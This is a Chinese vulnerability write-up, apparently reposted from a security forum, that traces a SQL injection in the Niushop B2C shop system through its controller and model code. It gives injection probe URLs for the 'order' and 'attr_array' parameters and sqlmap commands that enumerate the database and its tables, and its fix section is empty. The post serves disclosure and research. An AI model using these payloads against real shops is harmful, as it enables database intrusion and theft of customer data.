某Shop前台SQL注入
2019-11-18 10:20:52 Author: xz.aliyun.com(查看原文) 阅读量:388 收藏

0x01 前言

Niushop B2C商城系统基于ThinkPHP5.0开发,源码全部开放(100%),商用免费,四网合一,满足用户、企业、开发者、服务商等角色要求

0x02 代码分析

跟踪到/Application/(wap/shop)/Controller/Goods.php中的ajaxGoodsList方法




  • 924 Line: 使用count函数获取$attr_array数组中的元素个数并赋值给$array_count
  • 925 Line: 定义$goodsid_str变量
  • 926 Line: 定义$attr_str_where变量
  • 927 Line: 判断数组$attr_array是否为空
  • 929 Line: 循环$attr_array数组$k表示键、$v表示值
  • 930 Line: 判断$attr_str_where是否为空
  • 931 Line: 将$v[2]、$v[1]拼接到SQL语句中
  • 932 Line: 将$v[2]、$v[1]拼接到SQL语句中
  • 936 Line: 判断$attr_str_where是否不为空
  • 937 Line: 调用$goods中的getGoodsAttributeQuery方法并将$attr_str_where传入
    跟踪到/data/service/Goods.php中的getGoodsAttributeQuery方法
  • 3959 Line: 实例化NsGoodsAttributeModel模型并赋给$goods_attribute
  • 3960 Line: 调用对象$goods_attribute中的getQuery并将$condition传入
    跟踪到/data/Model/BaseModel.php中的getQuery方法
  • 这里直接将传入的语句带入查询了,造成了SQL注入
  • 1029 Line:将外部传入的$order传入$goods中的getGoodsListNew方法
    跟踪到/data/service/Goods.php中的getGoodsListNew方法

  • 4910 Line: 从头往下看参数$order未被过滤,传入到了模型$goods_model中的viewPageQueryNew方法
    跟踪到/data/Model/BaseModel.php中的viewPageQueryNew方法
  • 这里直接将$order带入查询了,造成了SQL注入
    ###0x03 漏洞探测
    order参数:
    http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7%27&attr_array[][2]=8&spec_array[]=9

    attr_array参数:
    http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8%27&spec_array[]=9

    两个参数均可触发该漏洞
    ###0x04 漏洞复现
    sqlmap -u "http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql"
    sqlmap -u "http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql" --current-db
    sqlmap -u "http://172.16.209.129:8085/index.php/wap/goods/getGoodsListByConditions?category_id=1&brand_id=2&min_price=3&max_price=4&page=5&page_size=6&order=7&attr_array[][2]=8*&spec_array[]=9" --random-agent --batch --dbms "mysql" -D niushop_b2c --tables

    ###0x05 漏洞修复


文章来源: http://xz.aliyun.com/t/6758
如有侵权请联系:admin#unsafe.sh